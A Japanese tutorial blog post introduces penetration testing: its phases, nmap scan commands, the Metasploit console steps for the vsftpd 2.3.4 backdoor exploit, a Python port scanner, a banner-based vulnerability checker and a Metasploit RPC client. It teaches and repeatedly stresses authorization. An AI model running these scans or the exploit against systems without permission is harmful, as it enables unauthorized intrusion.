実践!ペネトレーションテスト入門

未分類

今回は「ペネトレーションテスト」について詳しく解説します。ペネトレーションテストって耳にしたことがある方も多いと思いますが、「具体的にどんなツールを使って、どうやってテストするの?」と疑問に思う方もいるのではないでしょうか。
この記事では、ペネトレーションテストの概要から、実際に行うステップ、そして一部のコード例までを紹介します。ぜひ参考にしてみてください。

定義と目的

ペネトレーションテストは、システム・ネットワーク・アプリケーションの脆弱性を攻撃者の視点で検証し、実際に侵入や情報漏えいが可能かどうかを調べるテストです。
ソフトウェアやネットワークの脆弱性診断では、機械的なスキャナの利用やコードレビューなども行いますが、ペネトレーションテストは「もう少し踏み込んで」実際の攻撃シナリオに近い形で検証するのが特徴です。

なぜペネトレーションテストが必要?

脆弱性の真の影響を確認できる
単に脆弱性があることを知るだけでなく、その脆弱性を攻撃者が利用してどこまで侵害可能かを把握できます。

修正の優先度や対策を明確化
リスクが高い箇所を特定しやすくなり、組織としてセキュリティ強化のロードマップを立てやすくなります。

ペネトレーションテストの一般的なステップ

情報収集

  • 目標となるサイト・ネットワークについて、公開情報やポート情報を収集する

スキャン・脆弱性診断

  • ネットワークスキャンやWebアプリケーションスキャンを実施し、脆弱性候補を洗い出す

侵入試行

  • 見つかった脆弱性を使って実際に侵入を試みる

権限昇格・横展開

  • 侵入後、さらに権限を上げたり、他のシステムにアクセスを広げる

レポーティング

  • 発見した脆弱性、侵入手順、得られた成果物、リスク評価、推奨対策などをまとめる

代表的なツール紹介

ポートスキャンやOS判別に用いる超有名ツール。

  • 使いどころ: ネットワークの調査、開いているポートやサービスの把握
  • 注意点: 大規模ネットワークに対して行う場合は、許可なくスキャンするとトラブルになるので必ず許可を得てから実施してください
# シンプルなポートスキャン
nmap 192.168.1.10

# OS検出とポートスキャン(サービスバナーも取得)
nmap -A -T4 192.168.1.10

脆弱性の検証や攻撃手法を自動化する有名なフレームワーク。

  • 使いどころ: 既知の脆弱性を狙った攻撃、PoC(実証コード)の実行など
  • 注意点: 強力な攻撃ツールなので、必ず検証用環境か正式に許可を得た環境のみで使用

基本的な使い方

# Metasploit起動
msfconsole

# Exploitを検索(例:vsftpdの脆弱性)
search vsftpd

# Exploitモジュールを使う
use exploit/unix/ftp/vsftpd_234_backdoor

# 必要なオプションを設定
set RHOST 192.168.1.10
set RPORT 21

# 攻撃開始
exploit

Pythonで作る簡易ペネトレーションテスト用ツールの例

実際にNmapやMetasploitを使うだけでなく、手軽にPythonでスクリプトを組んで検証することもあります。ここでは簡単なポートスキャナと脆弱性チェック機能を組み込んだサンプルを紹介します。
※ あくまで学習・自己啓発用コードです。本番環境に対して行う場合は許可が必要です。

ポートスキャナ & バナー取得

#!/usr/bin/env python3

import socket
import argparse

def scan_port(ip, port, timeout=1):
    """
    指定したIPとポートにTCP接続を試み、
    成功したらバナー情報を取得して返す。
    """
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(timeout)
            result = s.connect_ex((ip, port))
            if result == 0:
                # 接続成功
                try:
                    # バナー取得
                    banner = s.recv(1024).decode('utf-8', errors='replace')
                except:
                    banner = "No banner"
                return True, banner
            else:
                return False, ""
    except Exception as e:
        return False, str(e)

def main():
    parser = argparse.ArgumentParser(description="Simple Port Scanner with Banner Grabbing")
    parser.add_argument("ip", help="Target IP address")
    parser.add_argument("-p", "--ports", help="Ports to scan (e.g. 20-25,80,443)", default="1-1024")
    parser.add_argument("-t", "--timeout", type=float, help="Connection timeout in seconds", default=1.0)
    args = parser.parse_args()

    # ポートの解析
    ports_to_scan = []
    for part in args.ports.split(","):
        if "-" in part:
            start, end = part.split("-")
            ports_to_scan.extend(range(int(start), int(end)+1))
        else:
            ports_to_scan.append(int(part))

    print(f"Scanning {args.ip} for ports: {ports_to_scan}")
    open_ports = []
    for port in ports_to_scan:
        open_flag, banner = scan_port(args.ip, port, timeout=args.timeout)
        if open_flag:
            print(f"[+] Port {port} is open. Banner: {banner.strip()}")
            open_ports.append((port, banner.strip()))
        else:
            pass

    print("\nOpen ports found:")
    for port, banner in open_ports:
        print(f" - {port}: {banner}")

if __name__ == "__main__":
    main()

# 192.168.1.10 の 20-25、80、443ポートをチェック
python3 my_scanner.py 192.168.1.10 -p 20-25,80,443

このスクリプトは、開いているポートがあればバナー情報を表示する仕組みになっています。「banner」はサービスが返す文字列で、サーバソフトウェアのバージョンなどが含まれていることもあり、脆弱性診断に役立ちます。

簡易脆弱性チェック例

特定のバナーから脆弱性が推測できる場合があります。たとえば「Apache 2.2.8」などの古いバージョンが返ってきたら、既知の脆弱性が潜んでいるかもしれません。下記のような簡単なデータベースを持ったスクリプトで、怪しそうなバナーを検知することができます。

#!/usr/bin/env python3

import re

# 仮の脆弱性データベース(非常に簡易な例)
VULN_DB = [
    {"service": "apache", "version_regex": r"(Apache/2\.2\.\d+)", "info": "Apache 2.2系はEOLで脆弱性がある可能性があります"},
    {"service": "openssh", "version_regex": r"(OpenSSH_5\.\d+)", "info": "OpenSSH 5.x系は古いバージョンのため脆弱性リスクあり"},
    # ここにどんどん追加
]

def check_vulnerabilities(banner: str):
    """
    バナーを脆弱性データベースと照らし合わせて、
    該当する脆弱性情報を返す。
    """
    banner_lower = banner.lower()
    findings = []
    for entry in VULN_DB:
        if entry["service"] in banner_lower:
            match = re.search(entry["version_regex"], banner, re.IGNORECASE)
            if match:
                findings.append({
                    "service": entry["service"],
                    "detected_version": match.group(1),
                    "info": entry["info"]
                })
    return findings

if __name__ == "__main__":
    test_banners = [
        "Apache/2.2.8 (Ubuntu)",
        "OpenSSH_5.9p1 Debian-5ubuntu1",
        "Apache/2.4.46 (CentOS)",
        "OpenSSH_7.6p1"
    ]
    for banner in test_banners:
        vulns = check_vulnerabilities(banner)
        if vulns:
            print(f"[!] Potential vulnerabilities found in: '{banner}'")
            for v in vulns:
                print(f"    - Service: {v['service']}, Version: {v['detected_version']}, Info: {v['info']}")
        else:
            print(f"No known vulnerabilities detected for: '{banner}'")

上記のコードはあくまで「こういう仕組みでバナーを解析して脆弱性を推定するよ」というイメージサンプルに過ぎません。実際にはもっと大規模なデータベースを活用し、CVEなどの脆弱性情報を参照する必要があります。

侵入試行の例:Metasploitをスクリプト的に活用する

前述のMetasploitはCLIから使うのが一般的ですが、rcファイルやmsfrpcdなどを駆使してPythonから制御する方法もあります。こちらはサンプル程度ですが、「自動化で脆弱性を検証してレポートを取る」ような仕組みを組むことが可能です。

以下は非常にシンプルな例ですが、Metasploit RPC APIをPythonから叩くイメージコードです。最新版では変更があるかもしれないので、実際に使う際は公式ドキュメントを参照してください。

# -----------------------------------
# Metasploit RPC例 (バージョンによって変化があるので要ドキュメント確認)
# -----------------------------------
import requests
import json

# Metasploit RPCサーバの設定
MSF_RPC_HOST = "127.0.0.1"
MSF_RPC_PORT = 55552
MSF_RPC_TOKEN = "your_msf_rpc_token"  # msfrpcdの起動時のトークン

def msf_call(method, params=[]):
    url = f"http://{MSF_RPC_HOST}:{MSF_RPC_PORT}/api/"
    headers = {"Content-Type": "application/json"}
    data = {
        "jsonrpc": "2.0",
        "method": method,
        "params": [MSF_RPC_TOKEN] + params,
        "id": 1
    }
    response = requests.post(url, headers=headers, data=json.dumps(data))
    return response.json()

if __name__ == "__main__":
    # 例: Exploit モジュール一覧を取得
    result = msf_call("module.exploits")
    if "result" in result:
        exploits = result["result"]
        print("[*] Available exploits:")
        for exploit in exploits[:10]:  # 上位10件だけ
            print(" -", exploit)
    else:
        print("[!] Failed to get exploits list:", result)

ペネトレーションテストの注意点

必ず合法的に行う
許可なく他人のシステムに対してテストを実施すると不正アクセス禁止法などの法律に触れる恐れがあります。

影響範囲を十分に把握する
テストは本番環境のサービスに影響を与える可能性があります。事前にテスト対象・時間帯・手法を関係者と確認しましょう。

レポーティングと対策支援
問題が見つかった場合は改善策まで提示するのが望ましいです。単に「穴があったよ」ではなく、「どうすれば対策できるか」を伝えるとより価値が高いです。

まとめ

  • ペネトレーションテストは、攻撃者の視点からシステムやアプリを実際に攻撃し、脆弱性の影響度を把握する手法です。
  • ツールとしてはNmapMetasploitが代表的で、Pythonの自作ツールで独自の検証を行うこともあります。
  • テストを行う際は必ず許可を得た上で、環境を分けたり、影響範囲を考慮するなど、安全に進める必要があります。
  • 見つけた脆弱性は優先度影響度を整理し、修正・改善までをサポートすることが重要です。

こうしたペネトレーションテストを定期的に実施することで、組織やサービスのセキュリティレベルを向上させられます。ぜひ今回のコード例やツールの使い方をヒントに、ペネトレーションテストの世界に足を踏み入れてみてくださいね。

それでは、また次の記事でお会いしましょう!

コメント